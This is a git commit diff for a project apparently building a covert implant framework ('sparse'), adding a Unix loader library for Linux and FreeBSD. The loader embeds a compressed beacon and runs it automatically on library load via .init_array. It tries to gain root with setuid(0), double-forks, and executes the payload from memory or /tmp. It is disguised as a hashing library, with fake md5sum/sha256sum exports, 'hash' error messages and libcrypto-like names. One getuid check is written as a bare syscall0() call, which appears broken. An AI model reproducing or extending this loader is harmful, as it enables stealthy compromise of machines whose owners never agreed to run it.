feat: made unix-loader more stable on FreeBSD

This commit is contained in:
Andrew Rioux 2025-02-03 02:37:17 -05:00
parent d8a277e769
commit 00331ec550
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
9 changed files with 159 additions and 59 deletions

13
Cargo.lock generated
View File

@ -3205,6 +3205,9 @@ dependencies = [
[[package]] [[package]]
name = "sparse-infector" name = "sparse-infector"
version = "2.0.0" version = "2.0.0"
dependencies = [
"sparse-actions",
]
[[package]] [[package]]
name = "sparse-server" name = "sparse-server"
@ -3253,10 +3256,20 @@ dependencies = [
[[package]] [[package]]
name = "sparse-unix-beacon" name = "sparse-unix-beacon"
version = "2.0.0" version = "2.0.0"
dependencies = [
"errno",
"libc",
]
[[package]] [[package]]
name = "sparse-unix-installer" name = "sparse-unix-installer"
version = "2.0.0" version = "2.0.0"
dependencies = [
"rand 0.9.0",
"sparse-actions",
"sparse-infector",
"structopt",
]
[[package]] [[package]]
name = "sparse-windows-beacon" name = "sparse-windows-beacon"

View File

@ -56,12 +56,11 @@
libpcap-linux-musl libpcap-freebsd; libpcap-linux-musl libpcap-freebsd;
buildTools = with pkgs; rec { buildTools = with pkgs; rec {
linux = [ base = [
# Tools for local compilation # Tools for local compilation
lld lld
zig zig
clang clang
glibc
libclang libclang
mold mold
@ -72,9 +71,10 @@
binaryen binaryen
sqlx-cli sqlx-cli
]; ];
freebsd = buildTools.linux linux = buildTools.base ++ [ glibc musl ];
freebsd = buildTools.base
++ [ pkgsCross.x86_64-freebsd.buildPackages.clang ]; ++ [ pkgsCross.x86_64-freebsd.buildPackages.clang ];
windows = buildTools.linux ++ [ windows = buildTools.base ++ [
pkgsCross.mingwW64.stdenv.cc pkgsCross.mingwW64.stdenv.cc
pkgsCross.mingwW64.windows.pthreads pkgsCross.mingwW64.windows.pthreads
]; ];
@ -95,6 +95,10 @@
# Cargo lint tools # Cargo lint tools
taplo taplo
cargo-deny cargo-deny
# Docs
man-pages
man-pages-posix
]; ];
craneLib = (crane.mkLib pkgs).overrideToolchain (p: craneLib = (crane.mkLib pkgs).overrideToolchain (p:

View File

@ -181,6 +181,8 @@ let
--summary all \ --summary all \
--prefix $out \ --prefix $out \
--release=small \ --release=small \
-Dfork \
-Dos=linux \
-Dbeacon=${sparse-beacon-linux}/bin/sparse-unix-beacon \ -Dbeacon=${sparse-beacon-linux}/bin/sparse-unix-beacon \
-Dtarget=x86_64-linux-musl \ -Dtarget=x86_64-linux-musl \
--verbose --verbose
@ -201,6 +203,8 @@ let
--summary all \ --summary all \
--prefix $out \ --prefix $out \
--release=small \ --release=small \
-Dfork \
-Dos=freebsd \
-Dtarget=x86_64-freebsd \ -Dtarget=x86_64-freebsd \
-Dbeacon=${sparse-beacon-freebsd}/bin/sparse-unix-beacon \ -Dbeacon=${sparse-beacon-freebsd}/bin/sparse-unix-beacon \
--sysroot ${freebsd-libs} \ --sysroot ${freebsd-libs} \
@ -219,7 +223,7 @@ let
CARGO_BUILD_TARGET = "x86_64-unknown-linux-musl"; CARGO_BUILD_TARGET = "x86_64-unknown-linux-musl";
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static"; CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
SPARSE_LOADER_LINUX = "${linux-loader}/lib/libunix-loader.so"; SPARSE_LOADER = "${linux-loader}/lib/libunix-loader-linux.so";
}); });
sparse-installer-freebsd-sysv = craneLib.buildPackage (commonArgs // { sparse-installer-freebsd-sysv = craneLib.buildPackage (commonArgs // {
@ -232,7 +236,7 @@ let
CARGO_BUILD_TARGET = "x86_64-unknown-linux-musl"; CARGO_BUILD_TARGET = "x86_64-unknown-linux-musl";
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static"; CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
SPARSE_LOADER_FREEBSD = "${freebsd-loader}/lib/libunix-loader.so"; SPARSE_LOADER = "${freebsd-loader}/lib/libunix-loader-freebsd.so";
}); });
sparse-installer-freebsd = sparse-installer-freebsd =

View File

@ -4,3 +4,5 @@ edition = "2024"
version.workspace = true version.workspace = true
[dependencies] [dependencies]
libc = "0.2"
errno = "0.3"

View File

@ -1,3 +1,14 @@
fn main() { fn main() {
println!("Hello, world!"); println!("Hello, world!");
#[cfg(target_os = "freebsd")]
unsafe {
let sem = libc::sem_open(c"/libcrypto".as_ptr(), 0);
libc::sem_post(sem);
}
println!("Hello, world!");
unsafe { println!("\n{}\n", libc::getpid()) };
loop {}
} }

View File

@ -1,7 +1,14 @@
const std = @import("std"); const std = @import("std");
pub fn build(b: *std.Build) !void { pub fn build(b: *std.Build) !void {
var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator);
defer arena.deinit();
const alloc = arena.allocator();
const beacon = b.option([]const u8, "beacon", "path to beacon to load") orelse std.debug.panic("Expected a path to a beacon to be provided with -Dbeacon", .{}); const beacon = b.option([]const u8, "beacon", "path to beacon to load") orelse std.debug.panic("Expected a path to a beacon to be provided with -Dbeacon", .{});
const target_os = b.option([]const u8, "os", "os name to inject in final binary") orelse "linux";
const fork = b.option(bool, "fork", "whether to fork or take over the process") orelse false;
const beacon_path = std.Build.LazyPath{ .cwd_relative = beacon }; const beacon_path = std.Build.LazyPath{ .cwd_relative = beacon };
const target = b.standardTargetOptions(.{}); const target = b.standardTargetOptions(.{});
@ -26,14 +33,21 @@ pub fn build(b: *std.Build) !void {
.pic = true, .pic = true,
}); });
const options = b.addOptions();
options.addOption(bool, "fork", fork);
libloader.addIncludePath(b.path("src")); libloader.addIncludePath(b.path("src"));
libloader.root_module.addAnonymousImport("beacon", .{ .root_source_file = compressed_beacon }); libloader.root_module.addAnonymousImport("beacon", .{ .root_source_file = compressed_beacon });
libloader.root_module.addOptions("config", options);
if (target.result.os.tag == .freebsd) {
libloader.linkLibC(); libloader.linkLibC();
}
libloader.step.dependOn(&tool_step.step); libloader.step.dependOn(&tool_step.step);
var lib = b.addSharedLibrary(.{ var lib = b.addSharedLibrary(.{
.name = "unix-loader", .name = try std.fmt.allocPrint(alloc, "unix-loader-{s}", .{target_os}),
.root_source_file = b.path("src/loader.zig"), .root_source_file = b.path("src/loader.zig"),
.target = target, .target = target,
.optimize = optimize, .optimize = optimize,
@ -44,8 +58,6 @@ pub fn build(b: *std.Build) !void {
.name = "test-loader", .name = "test-loader",
.root_source_file = b.path("src/test_run.zig"), .root_source_file = b.path("src/test_run.zig"),
.target = target, .target = target,
.optimize = optimize,
.strip = true,
}); });
lib.addIncludePath(b.path("src")); lib.addIncludePath(b.path("src"));

View File

@ -1,4 +1,6 @@
const builtin = @import("builtin");
const std = @import("std"); const std = @import("std");
const posix = std.posix;
const beacon = @embedFile("beacon"); const beacon = @embedFile("beacon");
@ -6,22 +8,23 @@ const Parameters = @cImport({
@cInclude("abi.h"); @cInclude("abi.h");
}).Parameters; }).Parameters;
fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void { const config = @import("config");
std.debug.print("Test {s}", .{parameters.beacon_identifier});
const uid = std.os.linux.getuid(); fn open_temp() !std.fs.File {
_ = std.c.setuid(0); switch (builtin.os.tag) {
.linux => {
if (std.os.linux.getuid() != 0) { const fd = posix.memfd_create("", 0);
return; return std.fs.File{ .handle = fd };
},
else => {
return std.fs.createFileAbsolute("/tmp/libcryptoint", .{ .mode = 0o775 });
},
} }
}
const pid = std.c.fork(); fn exec_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
if (pid == 0) {
if (std.c.fork() == 0) {
const exe_fd = try std.posix.memfd_create("", 0);
var gzipped_exe_stream = std.io.fixedBufferStream(gzipped_exe); var gzipped_exe_stream = std.io.fixedBufferStream(gzipped_exe);
var exe_file = std.fs.File{ .handle = exe_fd }; var exe_file = try open_temp();
try std.compress.gzip.decompress(gzipped_exe_stream.reader(), exe_file.writer()); try std.compress.gzip.decompress(gzipped_exe_stream.reader(), exe_file.writer());
@ -36,7 +39,12 @@ fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
defer arena.deinit(); defer arena.deinit();
const alloc = arena.allocator(); const alloc = arena.allocator();
const file_path = try std.fmt.allocPrint(alloc, "/proc/self/fd/{d}", .{exe_fd}); const file_path = switch (builtin.os.tag) {
.linux => try std.fmt.allocPrint(alloc, "/proc/self/fd/{d}", .{exe_file.handle}),
else => "/tmp/libcryptoint",
};
exe_file.close();
const beacon_name = try alloc.dupeZ(u8, parameters.beacon_name[0..parameters.beacon_name_length]); const beacon_name = try alloc.dupeZ(u8, parameters.beacon_name[0..parameters.beacon_name_length]);
const file_path_ptr = try alloc.dupeZ(u8, file_path); const file_path_ptr = try alloc.dupeZ(u8, file_path);
@ -44,23 +52,60 @@ fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
const argv: [*:null]const ?[*:0]const u8 = &.{ beacon_name, null }; const argv: [*:null]const ?[*:0]const u8 = &.{ beacon_name, null };
const envp: [*:null]const ?[*:0]const u8 = &.{null}; const envp: [*:null]const ?[*:0]const u8 = &.{null};
_ = std.c.execve(file_path_ptr, argv, envp); switch (posix.execveZ(file_path_ptr, argv, envp)) {
std.c.exit(1); else => |e| {
if (builtin.mode == .Debug) {
std.debug.print("Internal error performing hash! {s}\n", .{@errorName(e)});
} }
std.c.exit(0); },
} else {
var status: c_int = 0;
_ = std.c.waitpid(pid, &status, 0);
_ = std.c.kill(pid, std.c.SIG.KILL);
} }
_ = std.c.setuid(uid); posix.exit(1);
}
fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
var uid: usize = undefined;
if (builtin.os.tag == .linux) {
uid = std.os.linux.syscall0(.getuid);
try posix.setuid(0);
if (std.os.linux.syscall0() != 0) {
return;
}
}
if (!config.fork) {
try exec_beacon(gzipped_exe, parameters);
} else {
const pid = try posix.fork();
if (pid == 0) {
if (try posix.fork() == 0) {
try exec_beacon(gzipped_exe, parameters);
} else if (builtin.os.tag != .linux) {
const sem = std.c.sem_open("/libcrypto", 0x200, 0o775, 0);
_ = std.c.sem_wait(sem);
posix.unlink("/tmp/libcryptoint") catch {};
}
posix.exit(0);
} else {
_ = posix.waitpid(pid, 0);
if (builtin.os.tag == .linux) {
posix.kill(pid, 9) catch {};
}
}
if (builtin.os.tag == .linux) {
try posix.setuid(uid);
}
}
} }
export fn hash_internals(parameters: *Parameters) void { export fn hash_internals(parameters: *Parameters) void {
use_beacon(beacon, parameters) catch |err| { use_beacon(beacon, parameters) catch |err| {
if (@import("builtin").mode == .Debug) { if (builtin.mode == .Debug) {
std.debug.print("Error using hash internals! {any}", .{err}); std.debug.print("External error computing hash! {any}\n", .{err});
} }
}; };
} }

View File

@ -20,7 +20,8 @@ fn fill_parameters() !void {
@memcpy(@as([*]u8, @ptrCast(&file_parameters)), &param_buffer); @memcpy(@as([*]u8, @ptrCast(&file_parameters)), &param_buffer);
} }
export fn calculate_hash() void { export fn calculate_hash() callconv(.C) void {
std.io.getStdOut().writeAll("Loaded!") catch {};
fill_parameters() catch |err| { fill_parameters() catch |err| {
if (dbg) { if (dbg) {
std.debug.print("Error calculating hash! {any}", .{err}); std.debug.print("Error calculating hash! {any}", .{err});
@ -30,6 +31,8 @@ export fn calculate_hash() void {
hash_internals(&file_parameters); hash_internals(&file_parameters);
} }
export const init_array: [1]*const fn () callconv(.C) void linksection(".init_array") = .{&calculate_hash};
export fn md4sum() void {} export fn md4sum() void {}
export fn md5sum() void {} export fn md5sum() void {}
export fn sha256sum() void {} export fn sha256sum() void {}

View File

@ -1,5 +1,11 @@
extern fn hash_internals() void; extern fn hash_internals(parameters: *Parameters) void;
const Parameters = @cImport({
@cInclude("abi.h");
}).Parameters;
var file_parameters: Parameters = .{};
pub fn main() void { pub fn main() void {
hash_internals(); hash_internals(&file_parameters);
} }